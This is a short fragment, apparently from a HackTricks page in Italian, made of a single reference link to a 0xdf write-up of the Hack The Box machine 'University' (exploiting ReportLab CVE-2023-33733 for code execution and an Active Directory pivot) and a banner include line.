* 0xdf: University (HTB) Sfruttando xhtml2pdf/ReportLab CVE-2023-33733 per ottenere RCE e pivotare in AD [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
{{#include ../../banners/hacktricks-training.md}}